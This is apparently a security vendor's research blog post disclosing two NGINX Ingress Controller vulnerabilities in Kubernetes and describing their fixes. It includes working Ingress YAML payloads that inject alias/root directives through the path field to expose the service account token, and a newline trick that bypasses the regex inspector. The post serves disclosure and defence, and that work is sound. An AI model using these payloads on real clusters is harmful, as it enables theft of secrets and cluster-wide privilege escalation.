Tools Resources

K8s Vulnerability

New Vulnerabilities in Kubernetes NGINX Ingress Controller

Gafnit Amiga

Wednesday, Jul 6th, 2022

Starting in October 2021, the NGINX’s Kubernetes Ingress Controller started to come under siege from security researchers and the open salvo was delivered in the form of CVE-2021-25742 which allowed attackers to gain access to secrets stored across all namespaces in a Kubernetes cluster. Around that time, the Panoptica Security Research & Development Team published a blog explaining the vulnerability, the potential impact of active exploitation, and provided Blue Teamers with scripts to locate vulnerable Kubernetes clusters.

The gist of CVE-2021-25742 was that an attacker was able to inject Lua code as part of an NGINX configuration within the server block using the snippet annotations feature. But the main outcome was not executing a code as itself, it was what one can achieve from it. Due to an insecure design of the NGINX Kubernetes Ingress Controller at that time, an attacker could leverage the Lua code execution to obtain the Ingress Controller access token. This token has high privileges inside the Kubernetes cluster and is authorized to access all secrets.

Looking at that CVE we wondered, what if there is another way to manipulate the NGINX configuration file and inject unexpected blocks? In this blog we will present a new way we discovered to exploit the Ingress Controller.

The Story So Far

In the following months after CVE-2021-25742 was published, three new CVEs exploiting an injection into the NGINX Kubernetes Ingress Controller configuration file were discovered by Panoptica and other researchers : CVE-2021-25745, CVE-2021-25746, CVE-2021-25748. What follows below is a high-level timeline of the subsequent security discoveries in the ingress controller.

Oct 21, 2021: CVE-2021-25742 was published. The root cause for the outcome impact was the insecure design of Ingress-NGINX processes. This root cause was not solved.
Oct - Nov 2021: Kubernetes team receive more reports from Panoptica and other researchers about different vulnerabilities exploiting the same root cause. The vulnerabilities injecting the nginx.conf file by path (CVE-2021-25745) or by annotations (CVE-2021-25746).
Dec 2021: Kubernetes team started to discuss about the need to split the ingress-controller process from NGINX process.
Apr 22, 2022: Kubernetes team release version 1.2.0 with a better secure design to reduce the risk using chroot and deep inspector. These changes are more aimed to the root cause but still not solving it completely.
May 06, 2022: Panoptica report Kubernetes on a bypass to the deep inspector (CVE-2021-25748).
May 31, 2022: Kubernetes team release version 1.2.1 with a fix to the deep inspector bypass.

Before getting into the details of the CVEs Panoptica discovered, let us review why the NGINX Ingress Controller is interesting to security researchers and adversaries alike.

What makes Kubernetes NGINX Ingress Controller such a great target?

There are three main reasons why the Ingress Controller is such a great target for adversaries and researchers alike. When conducting research and developing exploits, the impact is higher when the targeted software is wide-spread and inherently contains high permissions which make it easier to laterally move in an environment, bonus points if all the code is open sourced for easy examination. In the case of the NGINX Ingress Controller, all points are true.

Popular: According to public research, most Kubernetes clusters use NGINX as their ingress controller. Below are the results form CNCF survey 2021 for used Kubernetes Ingress providers. NGINX’s Ingress Controller is used in 50% of the responded clusters globally. The next popular Ingress providers are HAProxy and Envoy. While 50% may not hold true for every single cluster globally, it is not a stretch to say NGINX’s Ingress Controller is well saturated.

High Privileges: By default the NGINX Ingress Controller has a service account with powerful permissions in the cluster such as the ability to get any secret in the cluster. In case there is a service account in the Kubernetes cluster that binds to another high privileged cluster role (such as “cluster-admin”), an attacker can easily pivot to the other service account from the NGINX Ingress Controller.
Open Source: Software supply chains risks have been top-of-mind for the security community in the last few years, and in the case of the NGINX Ingress Controller, the popularity of it should exacerbate this concern. Open-source code is something we support, but as attackers and researchers alike can keep track with latest developments to understand the logic and continually exploit it when possible.

In the next section we will dive deep into how we discovered the new vulnerabilities (CVE-2021-25745 and CVE-2021-25748) and the root causes of them.

The Root Cause Resides in the Ingress-NGINX Architecture

There are two main components running as part of the Ingress-NGINX implementation:

NGINX web proxy server: Receives incoming requests and routes them based on rules written in the nginx.conf configuration file.
Ingress controller: A components responsible for fulfilling the Ingress resource rules by adding their interpretation to the nginx.conf configuration file.

In a secure design, there should be one way access from Ingress controller to the NGINX web proxy nginx.conf configuration file for rules updates. The NGINX web proxy process should not have any access to the Ingress controller resources.

Root Cause Resides in the Ingress-NGINX Architecture

What makes this separation even more important is the ingress-nginx cluster role, attached to the Ingress controller, that allows it to properly operate within the cluster. This cluster role has powerful permissions such as getting all secrets cluster wide. Unfortunately, this separation is not fully implemented yet, which makes the Ingress-NGINX a good lead for obtaining privilege escalation within the cluster.

The Ingress-NGINX a good lead for obtaining privilege escalation within the cluster.

In the design above, since both processes use the same filesystem, they both can access the ingress-nginx service account token at /var/run/secrets/kubernetes.io/serviceaccount/token.

On version 1.2.0, Ingress-NGINX improved the architecture to reduce the risk using chroot and deep inspector. This is a partial solution where their final goal is to have a full separation by splitting the Ingress-NGINX control plan and data plane processes.

CVE-2021-25745: Injecting nginx.conf Using Ingress Resource

An important part of the process was to understand how Ingress resource definition is converted into a configuration block in the nginx.conf file. First, create a simple Ingress resource.

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: gaf-ingress
annotations:
kubernetes.io/ingress.class: "nginx"
spec:
rules:
- http:
paths:
- path: /gaf
pathType: Prefix
backend:
service:
name: some-service
port:
number: 5678

After creating the Ingress resource, we can inspect the changes in the nginx.conf file.

kubectl exec -it <ingress-nginx-controller-pod> -n ingress-nginx -- cat /etc/nginx/nginx.conf | grep gaf -A 20 -B 20

There are multiple fields’ values that are being injected to the nginx.conf file (path, namespace, Ingress name, service name and port). But most of them are used by DNS and limited to alphanumeric characters, digits, ‘-‘ or ‘.’ signs. The only field that can contain any character is the path.

By manipulating the value in the path field, we can close the current location block in the configuration and open a new block with any content we like, a “configuration injection.” Since NGINX has directives that can serve static content, we can use them or Lua code to obtain the ingress-nginx service account token.

Payload with alias directive:

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: gaf-ingress
annotations:
kubernetes.io/ingress.class: "nginx"
spec:
rules:
- http:
paths:
- path: /gaf{alias /var/run/secrets/kubernetes.io/serviceaccount/;}location ~* ^/aaa
pathType: Prefix
backend:
service:
name: some-service
port:
number: 5678

Payload with root directive:

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: gaf-ingress
annotations:
kubernetes.io/ingress.class: "nginx"
spec:
rules:
- http:
paths:
- path: /serviceaccount{root /var/run/secrets/kubernetes.io;}location ~* ^/aaa
pathType: Prefix
backend:
service:
name: some-service
port:
number: 5678

Here is the resulting nginx.conf content after using the alias payload:

Now we can access the Ingress controller service account token from http://<host>/gaf/token

CVE-2021-25748: The Fix & The Bypass

As part of the fix for CVE-2021-25745, the Kubernetes team implemented deep inspector for the Ingress object spec. This inspector uses a list of regex patterns to validate the Ingress fields’ values, as shown below.

While the overall implementation achieves of its goals, there are still two issues we found with the regex patterns above:

The /var/run is link to /run. So, we can access /run/secrets/kubernetes.io/serviceaccount/token
We can use newline character (\n) to bypass the ‘.*;’ check.

Here is an example for a payload that bypasses the regex patterns as we explained:

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: gaf-ingress
annotations:
kubernetes.io/ingress.class: "nginx"
spec:
rules:
- http:
paths:
- path: "/gaf{alias #\n/run/secrets/kubernetes.io/serviceaccount/;}location ~* ^/aaa"
pathType: Prefix
backend:
service:
name: some-service
port:
number: 5678

This style of bypass to the original fix’s logic was reported to Kubernetes and subsequently fixed in version 1.2.1 of the NGINX Ingress Controller. As part of the updated fix, the alias and root directives were removed which nullified the way we abused the regex patterns.

NGINX Ingress Controller Significant Security Improvements

Despite all the vulnerabilities discovered over the last few months, the NGINX Ingress Controller has undergone significant security improvements in the last releases and is expected to improve even more. The Kubernetes project’s final goal is to split the NGINX Ingress Controller’s control plane and data plane processes completely. As noted during the examination of the root cause, this is important because there is not a technical need for the NGINX web proxy to have access to Ingress Controller resources. The separation will prevent the lateral movements borne from exploits to the web proxy and collapse any future attack paths into the ingress resources.

To close, the most crucial step you can take today is to ensure that all your Kubernetes clusters that use the NGINX Ingress Controller are inventoried and upgraded to the latest version which implements the fixes against the CVEs we covered in this blog post.